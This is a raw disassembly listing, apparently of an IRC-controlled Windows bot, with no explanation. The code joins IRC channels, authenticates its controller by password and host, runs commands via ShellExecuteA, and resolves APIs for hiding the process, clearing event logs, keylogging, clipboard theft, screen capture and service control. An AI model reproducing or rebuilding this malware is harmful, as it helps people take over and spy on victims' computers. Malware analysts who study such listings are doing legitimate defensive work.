call dword_4D11A8 ; gethostbyaddr
cmp eax, ebx
jz short loc_4093D7
push dword ptr [eax]
loc_4093A2: ; CODE XREF: .nsp0:004093D5j
push esi
lea eax, [ebp-2C0h]
push offset unk_4305D8
push eax
call sub_41BF36
loc_4093B4: ; CODE XREF: .nsp0:004092E2j
add esp, 10h
jmp loc_406C65
; ---------------------------------------------------------------------------
loc_4093BC: ; CODE XREF: .nsp0:00409389j
push esi
call dword_4D1274 ; gethostbyname
cmp eax, ebx
jz short loc_4093D7
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call dword_4D127C ; inet_ntoa
push eax
jmp short loc_4093A2
; ---------------------------------------------------------------------------
loc_4093D7: ; CODE XREF: .nsp0:0040939Ej
; .nsp0:004093C5j
push offset unk_4305B0
jmp loc_40854F
; ---------------------------------------------------------------------------
loc_4093E1: ; CODE XREF: .nsp0:00405982j
; .nsp0:00405997j
push 7Fh
push dword ptr [ebp+18h]
push dword ptr [ebp+1Ch]
call sub_41BCA0
push dword ptr [ebp+18h]
lea eax, [ebp-2C0h]
push offset unk_430588
push eax
call sub_41BF36
add esp, 18h
jmp loc_40820E
; ---------------------------------------------------------------------------
loc_40940A: ; CODE XREF: .nsp0:00405958j
; .nsp0:0040596Dj
push 5
push ebx
push ebx
push dword ptr [ebp+18h]
push offset aOpen ; "open"
push ebx
call dword_4D115C ; ShellExecuteA
push dword ptr [ebp+18h]
test eax, eax
jz short loc_40942E
push offset unk_430568
jmp loc_406C56
; ---------------------------------------------------------------------------
loc_40942E: ; CODE XREF: .nsp0:00409422j
push offset unk_430544
jmp loc_406C56
; ---------------------------------------------------------------------------
loc_409438: ; CODE XREF: .nsp0:0040592Ej
; .nsp0:00405943j
mov eax, [ebp+18h]
mov cl, [eax]
mov byte_429094, cl
movsx eax, byte ptr [eax]
push eax
push offset unk_43051C
jmp loc_406E7B
; ---------------------------------------------------------------------------
loc_409451: ; CODE XREF: .nsp0:00405904j
; .nsp0:00405919j
push dword ptr [ebp+18h]
call sub_41BE29
test eax, eax
pop ecx
jle loc_4097B8
push dword ptr [ebp+18h]
call sub_41BE29
cmp eax, 400h
pop ecx
jge loc_4097B8
push ebx
push ebx
lea eax, [ebp-0A0h]
push 2
push eax
call sub_40AFA5
push eax
lea eax, [ebp-2C0h]
push offset dword_432138
push eax
call sub_41BF36
add esp, 1Ch
jmp loc_4088D6
; ---------------------------------------------------------------------------
loc_4094A0: ; CODE XREF: .nsp0:004058DAj
; .nsp0:004058EFj
mov esi, [ebp+18h]
push esi
call sub_41BE29
test eax, eax
pop ecx
jle loc_401D6C
push esi
call sub_41BE29
cmp eax, 400h
pop ecx
jge loc_401D6C
push offset aQuitLater ; "QUIT :later\r\n"
push esi
call sub_41BE29
imul eax, 234h
pop ecx
push dword_44412C[eax]
call sub_40998C
pop ecx
pop ecx
push 1F4h
call dword_427064 ; Sleep
push esi
call sub_41BE29
imul eax, 234h
pop ecx
push dword_44412C[eax]
call dword_4D1288 ; closesocket
push dword ptr [ebp-10h]
push esi
call sub_41BE29
imul eax, 234h
pop ecx
push dword_444134[eax]
call near ptr 0B40000h
in al, dx
push esi
call sub_41BE29
imul eax, 234h
push esi
mov dword_444134[eax], ebx
call sub_41BE29
imul eax, 234h
pop ecx
pop ecx
mov byte ptr dword_443F20[eax], bl
jmp loc_401D6C
; ---------------------------------------------------------------------------
loc_40954E: ; CODE XREF: .nsp0:004058B0j
; .nsp0:004058C5j
push dword ptr [ebp+18h]
push offset aAll ; "all"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_4095BA
call sub_40B1D7
cmp eax, ebx
jle short loc_409575
push eax
push offset unk_4304F0
jmp loc_4072A9
; ---------------------------------------------------------------------------
loc_409575: ; CODE XREF: .nsp0:00409568j
push offset unk_4304C8
loc_40957A: ; CODE XREF: .nsp0:00403FC1j
; .nsp0:00403FE0j ...
lea eax, [ebp-2C0h]
push eax
call sub_41BF36
pop ecx
pop ecx
loc_409588: ; CODE XREF: .nsp0:004072B8j
; .nsp0:00408C2Dj
cmp [ebp-8], ebx
jnz short loc_4095A9
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
loc_4095A1: ; CODE XREF: .nsp0:004087C6j
call sub_4099D2
add esp, 14h
loc_4095A9: ; CODE XREF: .nsp0:004041C6j
; .nsp0:004041F1j ...
lea eax, [ebp-2C0h]
push eax
call sub_4157A6
jmp loc_4020BB
; ---------------------------------------------------------------------------
loc_4095BA: ; CODE XREF: .nsp0:0040955Fj
mov eax, [ebp-0A8h]
lea edi, [eax+1]
cmp edi, 20h
jnb loc_401D6C
lea eax, [ebp+edi*4-90h]
mov [ebp+2Ch], eax
loc_4095D6: ; CODE XREF: .nsp0:00409647j
mov eax, [ebp+2Ch]
mov esi, [eax]
cmp esi, ebx
jz loc_401D6C
push esi
call sub_41BE29
push eax
call sub_40B149
pop ecx
pop ecx
test eax, eax
push esi
jz short loc_4095FD
push offset unk_4304A4
jmp short loc_409602
; ---------------------------------------------------------------------------
loc_4095FD: ; CODE XREF: .nsp0:004095F4j
push offset unk_430478
loc_409602: ; CODE XREF: .nsp0:004095FBj
lea eax, [ebp-2C0h]
push eax
call sub_41BF36
add esp, 0Ch
cmp [ebp-8], ebx
jnz short loc_409632
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_4099D2
add esp, 14h
loc_409632: ; CODE XREF: .nsp0:00409614j
lea eax, [ebp-2C0h]
push eax
call sub_4157A6
add dword ptr [ebp+2Ch], 4
inc edi
cmp edi, 20h
pop ecx
jb short loc_4095D6
jmp loc_401D6C
; ---------------------------------------------------------------------------
loc_40964E: ; CODE XREF: .nsp0:00405886j
; .nsp0:0040589Bj
cmp [ebp-0Ch], ebx
jz loc_4097B8
push dword ptr [ebp+18h]
push dword ptr [ebp-0Ch]
call sub_41BFB0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_4097B8
push esi
push offset dword_430C18
push dword ptr [ebp+0Ch]
call sub_40998C
push esi
push offset dword_43045C
jmp loc_408AB7
; ---------------------------------------------------------------------------
loc_409687: ; CODE XREF: .nsp0:0040585Cj
; .nsp0:00405871j
push dword ptr [ebp+18h]
push offset dword_430B7C
push dword ptr [ebp+0Ch]
call sub_40998C
push dword ptr [ebp+18h]
push offset unk_430438
jmp loc_408AB7
; ---------------------------------------------------------------------------
loc_4096A4: ; CODE XREF: .nsp0:00405832j
; .nsp0:00405847j
push dword ptr [ebp+esi-88h]
push dword ptr [ebp+18h]
push offset aJoinSS ; "JOIN %s %s\r\n"
push dword ptr [ebp+0Ch]
call sub_40998C
push dword ptr [ebp+18h]
push offset unk_430414
jmp loc_40898A
; ---------------------------------------------------------------------------
loc_4096C8: ; CODE XREF: .nsp0:00405808j
; .nsp0:0040581Dj
push dword ptr [ebp+18h]
push offset aNickS ; "NICK %s\r\n"
push dword ptr [ebp+0Ch]
call sub_40998C
push dword ptr [ebp+18h]
push offset unk_4303F0
jmp loc_408AB7
; ---------------------------------------------------------------------------
loc_4096E5: ; CODE XREF: .nsp0:00404C73j
; .nsp0:00404C88j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push dword ptr [ebp+0Ch]
call sub_40998C
push dword ptr [ebp+18h]
lea eax, [ebp-2C0h]
push offset unk_4303CC
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
call sub_4157A6
push dword ptr [ebp+18h]
call sub_41BE29
add esp, 1Ch
loc_40971D: ; CODE XREF: .nsp0:00409769j
push eax
call dword_427064 ; Sleep
loc_409724: ; CODE XREF: .nsp0:00404599j
xor eax, eax
jmp loc_401D6F
; ---------------------------------------------------------------------------
loc_40972B: ; CODE XREF: .nsp0:00404C49j
; .nsp0:00404C5Ej
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push dword ptr [ebp+0Ch]
call sub_40998C
push dword ptr [ebp+18h]
lea eax, [ebp-2C0h]
push offset unk_4303A4
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
call sub_4157A6
push dword ptr [ebp+18h]
call sub_41BE29
add esp, 1Ch
imul eax, 3E8h
jmp short loc_40971D
; ---------------------------------------------------------------------------
loc_40976B: ; CODE XREF: .nsp0:004029B7j
; .nsp0:004029CCj
push dword ptr [ebp+esi-8Ch]
xor eax, eax
cmp [ebp-8F0h], bl
setnz al
push eax
lea eax, [ebp-338h]
push dword_42909C
push eax
call sub_40AFA5
lea eax, [ebp-338h]
push eax
push offset aNickS ; "NICK %s\r\n"
push dword ptr [ebp+0Ch]
call sub_40998C
lea eax, [ebp-338h]
push eax
push offset unk_430380
call sub_41581A
loc_4097B5: ; CODE XREF: .nsp0:00406CF0j
add esp, 24h
loc_4097B8: ; CODE XREF: .nsp0:00402161j
; .nsp0:0040216Dj ...
mov eax, [ebp+2Ch]
jmp loc_401D6F
; ---------------------------------------------------------------------------
loc_4097C0: ; CODE XREF: .nsp0:004025A2j
; .nsp0:004025B7j
mov esi, [ebp+esi-8Ch]
cmp esi, ebx
mov [ebp+18h], esi
jz loc_401D6C
cmp [ebp-0A4h], ebx
jnz loc_401D6C
push offset dword_42C2D0
push dword ptr [ebp-90h]
call sub_41C794
mov esi, eax
push offset dword_4D10A8
push ebx
inc esi
call sub_41C794
push offset asc_43037C ; "~"
push eax
call sub_41C794
push dword ptr [ebp+18h]
mov edi, eax
push offset aHi ; "hi"
call sub_41C710
add esp, 20h
test eax, eax
jz short loc_409868
lea eax, [ebp-0C0h]
push edi
push eax
lea eax, [ebp-0C0h]
push eax
push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
push dword ptr [ebp+0Ch]
call sub_40998C
lea eax, [ebp-0C0h]
push eax
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push dword ptr [ebp+0Ch]
call sub_40998C
push edi
push esi
push offset unk_4302FC
loc_409854: ; CODE XREF: .nsp0:004098C4j
lea eax, [ebp-2C0h]
push eax
call sub_41BF36
add esp, 30h
jmp loc_40833C
; ---------------------------------------------------------------------------
loc_409868: ; CODE XREF: .nsp0:0040981Bj
mov dword ptr [ebp+2Ch], offset off_429148
loc_40986F: ; CODE XREF: .nsp0:0040988Bj
mov eax, [ebp+2Ch]
push edi
push dword ptr [eax]
call sub_40B367
pop ecx
test eax, eax
pop ecx
jnz short loc_4098C6
add dword ptr [ebp+2Ch], 4
cmp dword ptr [ebp+2Ch], offset off_42914C
jl short loc_40986F
lea eax, [ebp-0C0h]
push edi
push eax
lea eax, [ebp-0C0h]
push eax
push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
push dword ptr [ebp+0Ch]
call sub_40998C
lea eax, [ebp-0C0h]
push eax
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push dword ptr [ebp+0Ch]
call sub_40998C
push edi
push esi
push offset unk_4302A8
jmp short loc_409854
; ---------------------------------------------------------------------------
loc_4098C6: ; CODE XREF: .nsp0:0040987Ej
mov edi, [ebp+20h]
xor esi, esi
loc_4098CB: ; CODE XREF: .nsp0:004098F5j
cmp [ebp+18h], ebx
jz loc_401D6C
cmp [edi], bl
jnz short loc_4098EB
push dword ptr [ebp+18h]
push offset aHi ; "hi"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz short loc_4098FC
loc_4098EB: ; CODE XREF: .nsp0:004098D6j
inc esi
add edi, 80h
cmp esi, 1
jl short loc_4098CB
jmp loc_401D6C
; ---------------------------------------------------------------------------
loc_4098FC: ; CODE XREF: .nsp0:004098E9j
shl esi, 7
add esi, [ebp+20h]
lea eax, [ebp-0E00h]
push 7Fh
push eax
push esi
call sub_41BCA0
add esp, 0Ch
cmp [ebp-8], ebx
jnz short loc_409933
push ebx
push dword ptr [ebp-4]
push offset unk_430288
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_4099D2
add esp, 14h
loc_409933: ; CODE XREF: .nsp0:00409917j
lea eax, [ebp-0C0h]
push eax
push offset unk_430268
jmp loc_4020B5
; ---------------------------------------------------------------------------
loc_409944: ; CODE XREF: .nsp0:00401D83j
; .nsp0:00401D98j
push dword ptr [ebp+18h]
push offset aUserhostS ; "USERHOST %s\r\n"
push dword ptr [ebp+0Ch]
call sub_40998C
push offset aI_0 ; "+i"
push dword ptr [ebp+18h]
push offset aModeSS_0 ; "MODE %s %s\r\n"
push dword ptr [ebp+0Ch]
call sub_40998C
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push offset aJoinSS ; "JOIN %s %s\r\n"
push dword ptr [ebp+0Ch]
call sub_40998C
add esp, 2Ch
push 1
pop eax
mov dword_4D10A0, eax
jmp loc_401D6F
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40998C proc near ; CODE XREF: sub_401A09+30p
; .nsp0:00401D47p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push 200h
push eax
call sub_41C830
add esp, 10h
lea eax, [ebp+var_200]
push 0
push eax
call sub_41B890
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4D1240 ; send
leave
retn
sub_40998C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4099D2 proc near ; CODE XREF: .nsp0:0040201Ep
; .nsp0:00402E6Cp ...
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset aNotice ; "NOTICE"
jnz short loc_4099ED
mov edi, offset aPrivmsg ; "PRIVMSG"
loc_4099ED: ; CODE XREF: sub_4099D2+14j
push edi
call sub_41B890
push [ebp+arg_4]
mov esi, 1FAh
sub esi, eax
call sub_41B890
push [ebp+arg_8]
sub esi, eax
lea eax, [ebp+var_400]
push offset aS_2 ; "%s"
push esi
push eax
call sub_41C030
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push edi
push offset aSSS_0 ; "%s %s :%s\r\n"
push eax
call sub_41BF36
add esp, 2Ch
lea eax, [ebp+var_200]
push 0
push eax
call sub_41B890
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4D1240 ; send
cmp [ebp+arg_10], 0
pop edi
pop esi
jz short locret_409A6B
push 7D0h
call dword_427064 ; Sleep
locret_409A6B: ; CODE XREF: sub_4099D2+8Cj
leave
retn
sub_4099D2 endp
; =============== S U B R O U T I N E =======================================
sub_409A6D proc near ; CODE XREF: .nsp0:004012A0p
push ebx
push ebp
mov ebp, dword_42709C
push esi
push edi
push offset aKernel32_dll ; "kernel32.dll"
call ebp ; dword_42709C
mov esi, dword_4270BC
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_409B8D
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi ; dword_4270BC
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov dword_4D129C, eax
call esi ; dword_4270BC
push offset aProcess32first ; "Process32First"
push edi
mov dword_4D1210, eax
call esi ; dword_4270BC
push offset aProcess32next ; "Process32Next"
push edi
mov dword_4D11F4, eax
call esi ; dword_4270BC
push offset aModule32first ; "Module32First"
push edi
mov dword_4D1104, eax
call esi ; dword_4270BC
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov dword_4D10B0, eax
call esi ; dword_4270BC
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov dword_4D10E0, eax
call esi ; dword_4270BC
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov dword_4D1158, eax
call esi ; dword_4270BC
push offset aSearchpatha ; "SearchPathA"
push edi
mov dword_4D1250, eax
call esi ; dword_4270BC
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov dword_4D12AC, eax
call esi ; dword_4270BC
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov dword_4D1110, eax
call esi ; dword_4270BC
cmp dword_4D129C, ebx
mov dword_4D10F8, eax
jz short loc_409B6B
cmp dword_4D1210, ebx
jz short loc_409B6B
cmp dword_4D11F4, ebx
jz short loc_409B6B
cmp dword_4D1104, ebx
jz short loc_409B6B
cmp dword_4D10E0, ebx
jz short loc_409B6B
cmp dword_4D1158, ebx
jz short loc_409B6B
cmp dword_4D1250, ebx
jz short loc_409B6B
cmp dword_4D12AC, ebx
jz short loc_409B6B
cmp dword_4D1110, ebx
jz short loc_409B6B
cmp eax, ebx
jnz short loc_409B75
loc_409B6B: ; CODE XREF: sub_409A6D+B8j
; sub_409A6D+C0j ...
mov dword_4D12B0, 1
loc_409B75: ; CODE XREF: sub_409A6D+FCj
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi ; dword_4270BC
cmp eax, ebx
mov dword_4D1228, eax
jz short loc_409BA2
push 1
push ebx
call eax
jmp short loc_409BA2
; ---------------------------------------------------------------------------
loc_409B8D: ; CODE XREF: sub_409A6D+1Dj
call dword_42708C ; RtlGetLastWin32Error
mov dword_4D12B4, eax
mov dword_4D12B0, 1
loc_409BA2: ; CODE XREF: sub_409A6D+117j
; sub_409A6D+11Ej
push offset aUser32_dll ; "user32.dll"
call dword_4270B8 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_409CB7
push offset aSendmessagea ; "SendMessageA"
push edi
call esi ; dword_4270BC
push offset aFindwindowa ; "FindWindowA"
push edi
mov dword_4D124C, eax
call esi ; dword_4270BC
push offset aIswindow ; "IsWindow"
push edi
mov dword_4D11FC, eax
call esi ; dword_4270BC
push offset aDestroywindow ; "DestroyWindow"
push edi
mov dword_4D1190, eax
call esi ; dword_4270BC
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov dword_4D12A0, eax
call esi ; dword_4270BC
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov dword_4D11C0, eax
call esi ; dword_4270BC
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov dword_4D11E0, eax
call esi ; dword_4270BC
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov dword_4D1244, eax
call esi ; dword_4270BC
cmp dword_4D124C, ebx
mov dword_4D1130, eax
jz short loc_409C5B
cmp dword_4D11FC, ebx
jz short loc_409C5B
cmp dword_4D1190, ebx
jz short loc_409C5B
cmp dword_4D12A0, ebx
jz short loc_409C5B
cmp dword_4D11C0, ebx
jz short loc_409C5B
cmp dword_4D11E0, ebx
jz short loc_409C5B
cmp dword_4D1244, ebx
jz short loc_409C5B
cmp eax, ebx
jnz short loc_409C65
loc_409C5B: ; CODE XREF: sub_409A6D+1B8j
; sub_409A6D+1C0j ...
mov dword_4D12B8, 1
loc_409C65: ; CODE XREF: sub_409A6D+1ECj
push offset aGetasynckeysta ; "GetAsyncKeyState"
push edi
call esi ; dword_4270BC
push offset aGetkeystate ; "GetKeyState"
push edi
mov dword_4D11BC, eax
call esi ; dword_4270BC
push offset aGetwindowtexta ; "GetWindowTextA"
push edi
mov dword_4D10C4, eax
call esi ; dword_4270BC
push offset aGetforegroundw ; "GetForegroundWindow"
push edi
mov dword_4D118C, eax
call esi ; dword_4270BC
cmp dword_4D11BC, ebx
mov dword_4D1174, eax
jz short loc_409CC2
cmp dword_4D10C4, ebx
jz short loc_409CC2
cmp dword_4D118C, ebx
jz short loc_409CC2
cmp eax, ebx
jnz short loc_409CCC
jmp short loc_409CC2
; ---------------------------------------------------------------------------
loc_409CB7: ; CODE XREF: sub_409A6D+144j
call dword_42708C ; RtlGetLastWin32Error
mov dword_4D12BC, eax
loc_409CC2: ; CODE XREF: sub_409A6D+232j
; sub_409A6D+23Aj ...
mov dword_4D12B8, 1
loc_409CCC: ; CODE XREF: sub_409A6D+246j
push offset aAdvapi32_dll ; "advapi32.dll"
call ebp ; dword_42709C
mov edi, eax
cmp edi, ebx
jz loc_409E85
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi ; dword_4270BC
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov dword_4D1260, eax
call esi ; dword_4270BC
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov dword_4D11A4, eax
call esi ; dword_4270BC
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov dword_4D1214, eax
call esi ; dword_4270BC
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov dword_4D10F0, eax
call esi ; dword_4270BC
push offset aRegclosekey ; "RegCloseKey"
push edi
mov dword_4D1154, eax
call esi ; dword_4270BC
push offset aOpeneventloga ; "OpenEventLogA"
push edi
mov dword_4D11CC, eax
call esi ; dword_4270BC
push offset aCleareventloga ; "ClearEventLogA"
push edi
mov dword_4D1170, eax
call esi ; dword_4270BC
cmp dword_4D1260, ebx
mov dword_4D1180, eax
jz short loc_409D75
cmp dword_4D11A4, ebx
jz short loc_409D75
cmp dword_4D1214, ebx
jz short loc_409D75
cmp dword_4D10F0, ebx
jz short loc_409D75
cmp dword_4D1154, ebx
jz short loc_409D75
cmp dword_4D11CC, ebx
jnz short loc_409D7F
loc_409D75: ; CODE XREF: sub_409A6D+2DEj
; sub_409A6D+2E6j ...
mov dword_4D12C0, 1
loc_409D7F: ; CODE XREF: sub_409A6D+306j
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi ; dword_4270BC
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov dword_4D11D4, eax
call esi ; dword_4270BC
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov dword_4D11AC, eax
call esi ; dword_4270BC
cmp dword_4D11D4, ebx
mov dword_4D125C, eax
jz short loc_409DBA
cmp dword_4D11AC, ebx
jz short loc_409DBA
cmp eax, ebx
jnz short loc_409DC4
loc_409DBA: ; CODE XREF: sub_409A6D+33Fj
; sub_409A6D+347j
mov dword_4D12C0, 1
loc_409DC4: ; CODE XREF: sub_409A6D+34Bj
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi ; dword_4270BC
push offset aOpenservicea ; "OpenServiceA"
push edi
mov dword_4D11E4, eax
call esi ; dword_4270BC
push offset aStartservicea ; "StartServiceA"
push edi
mov dword_4D10CC, eax
call esi ; dword_4270BC
push offset aControlservice ; "ControlService"
push edi
mov dword_4D10D4, eax
call esi ; dword_4270BC
push offset aDeleteservice ; "DeleteService"
push edi
mov dword_4D1138, eax
call esi ; dword_4270BC
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov dword_4D113C, eax
call esi ; dword_4270BC
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov dword_4D10E8, eax
call esi ; dword_4270BC
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov dword_4D11B0, eax
call esi ; dword_4270BC
cmp dword_4D11E4, ebx
mov dword_4D10D8, eax
jz short loc_409E68
cmp dword_4D10CC, ebx
jz short loc_409E68
cmp dword_4D10D4, ebx
jz short loc_409E68
cmp dword_4D1138, ebx
jz short loc_409E68
cmp dword_4D113C, ebx
jz short loc_409E68
cmp dword_4D10E8, ebx
jz short loc_409E68
cmp dword_4D11B0, ebx
jz short loc_409E68
cmp eax, ebx
jnz short loc_409E72
loc_409E68: ; CODE XREF: sub_409A6D+3C5j
; sub_409A6D+3CDj ...
mov dword_4D12C0, 1
loc_409E72: ; CODE XREF: sub_409A6D+3F9j
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi ; dword_4270BC
cmp eax, ebx
mov dword_4D10D0, eax
jnz short loc_409E9A
jmp short loc_409E90
; ---------------------------------------------------------------------------
loc_409E85: ; CODE XREF: sub_409A6D+26Aj
call dword_42708C ; RtlGetLastWin32Error
mov dword_4D12C4, eax
loc_409E90: ; CODE XREF: sub_409A6D+416j
mov dword_4D12C0, 1
loc_409E9A: ; CODE XREF: sub_409A6D+414j
push offset aGdi32_dll ; "gdi32.dll"
call ebp ; dword_42709C
mov edi, eax
cmp edi, ebx
jz loc_409F66
push offset aCreatedca ; "CreateDCA"
push edi
call esi ; dword_4270BC
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov dword_4D11DC, eax
call esi ; dword_4270BC
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov dword_4D1234, eax
call esi ; dword_4270BC
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov dword_4D123C, eax
call esi ; dword_4270BC
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov dword_4D11F8, eax
call esi ; dword_4270BC
push offset aSelectobject ; "SelectObject"
push edi
mov dword_4D1114, eax
call esi ; dword_4270BC
push offset aBitblt ; "BitBlt"
push edi
mov dword_4D10C0, eax
call esi ; dword_4270BC
push offset aDeletedc ; "DeleteDC"
push edi
mov dword_4D1238, eax
call esi ; dword_4270BC
push offset aDeleteobject ; "DeleteObject"
push edi
mov dword_4D10AC, eax
call esi ; dword_4270BC
cmp dword_4D11DC, ebx
mov dword_4D114C, eax
jz short loc_409F71
cmp dword_4D1234, ebx
jz short loc_409F71
cmp dword_4D123C, ebx
jz short loc_409F71
cmp dword_4D11F8, ebx
jz short loc_409F71
cmp dword_4D1114, ebx
jz short loc_409F71
cmp dword_4D10C0, ebx
jz short loc_409F71
cmp dword_4D1238, ebx
jz short loc_409F71
cmp dword_4D10AC, ebx
jz short loc_409F71
cmp eax, ebx
jnz short loc_409F7B
jmp short loc_409F71
; ---------------------------------------------------------------------------
loc_409F66: ; CODE XREF: sub_409A6D+438j
call dword_42708C ; RtlGetLastWin32Error
mov dword_4D12CC, eax
loc_409F71: ; CODE XREF: sub_409A6D+4B9j
; sub_409A6D+4C1j ...
mov dword_4D12C8, 1
loc_409F7B: ; CODE XREF: sub_409A6D+4F5j
mov ebp, dword_4270B8
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp ; dword_4270B8
mov edi, eax
cmp edi, ebx
jz loc_40A237
push offset aWsastartup ; "WSAStartup"
push edi
call esi ; dword_4270BC
push offset aWsasocketa ; "WSASocketA"
push edi
mov dword_4D1160, eax
call esi ; dword_4270BC
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov dword_4D1294, eax
call esi ; dword_4270BC
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov dword_4D1100, eax
call esi ; dword_4270BC
push offset aWsaioctl ; "WSAIoctl"
push edi
mov dword_4D10DC, eax
call esi ; dword_4270BC
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov dword_4D119C, eax
call esi ; dword_4270BC
push offset aWsacleanup ; "WSACleanup"
push edi
mov dword_4D1184, eax
call esi ; dword_4270BC
push offset aSocket ; "socket"
push edi
mov dword_4D1148, eax
call esi ; dword_4270BC
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov dword_4D1270, eax
call esi ; dword_4270BC
push offset aConnect ; "connect"
push edi
mov dword_4D128C, eax
call esi ; dword_4270BC
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov dword_4D1198, eax
call esi ; dword_4270BC
push offset aInet_addr ; "inet_addr"
push edi
mov dword_4D127C, eax
call esi ; dword_4270BC
push offset aHtons ; "htons"
push edi
mov dword_4D1230, eax
call esi ; dword_4270BC
push offset aHtonl ; "htonl"
push edi
mov dword_4D11F0, eax
call esi ; dword_4270BC
push offset aNtohs ; "ntohs"
push edi
mov dword_4D11EC, eax
call esi ; dword_4270BC
push offset aNtohl ; "ntohl"
push edi
mov dword_4D1120, eax
call esi ; dword_4270BC
push offset aSend ; "send"
push edi
mov dword_4D1118, eax
call esi ; dword_4270BC
push offset aSendto ; "sendto"
push edi
mov dword_4D1240, eax
call esi ; dword_4270BC
push offset aRecv ; "recv"
push edi
mov dword_4D1254, eax
call esi ; dword_4270BC
push offset aRecvfrom ; "recvfrom"
push edi
mov dword_4D1208, eax
call esi ; dword_4270BC
mov dword_4D11C8, eax
push offset aBind ; "bind"
push edi
call esi ; dword_4270BC
push offset aSelect ; "select"
push edi
mov dword_4D121C, eax
call esi ; dword_4270BC
push offset aListen ; "listen"
push edi
mov dword_4D11D8, eax
call esi ; dword_4270BC
push offset aAccept ; "accept"
push edi
mov dword_4D1218, eax
call esi ; dword_4270BC
push offset aSetsockopt ; "setsockopt"
push edi
mov dword_4D1284, eax
call esi ; dword_4270BC
push offset aGetsockname ; "getsockname"
push edi
mov dword_4D11D0, eax
call esi ; dword_4270BC
push offset aGethostname ; "gethostname"
push edi
mov dword_4D1194, eax
call esi ; dword_4270BC
push offset aGethostbyname ; "gethostbyname"
push edi
mov dword_4D1204, eax
call esi ; dword_4270BC
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov dword_4D1274, eax
call esi ; dword_4270BC
push offset aGetpeername ; "getpeername"
push edi
mov dword_4D11A8, eax
call esi ; dword_4270BC
push offset aClosesocket ; "closesocket"
push edi
mov dword_4D1144, eax
call esi ; dword_4270BC
cmp dword_4D1160, ebx
mov dword_4D1288, eax
jz loc_40A242
cmp dword_4D1294, ebx
jz loc_40A242
cmp dword_4D1100, ebx
jz loc_40A242
cmp dword_4D119C, ebx
jz loc_40A242
cmp dword_4D1184, ebx
jz loc_40A242
cmp dword_4D1148, ebx
jz loc_40A242
cmp dword_4D1270, ebx
jz loc_40A242
cmp dword_4D128C, ebx
jz loc_40A242
cmp dword_4D1198, ebx
jz loc_40A242
cmp dword_4D127C, ebx
jz loc_40A242
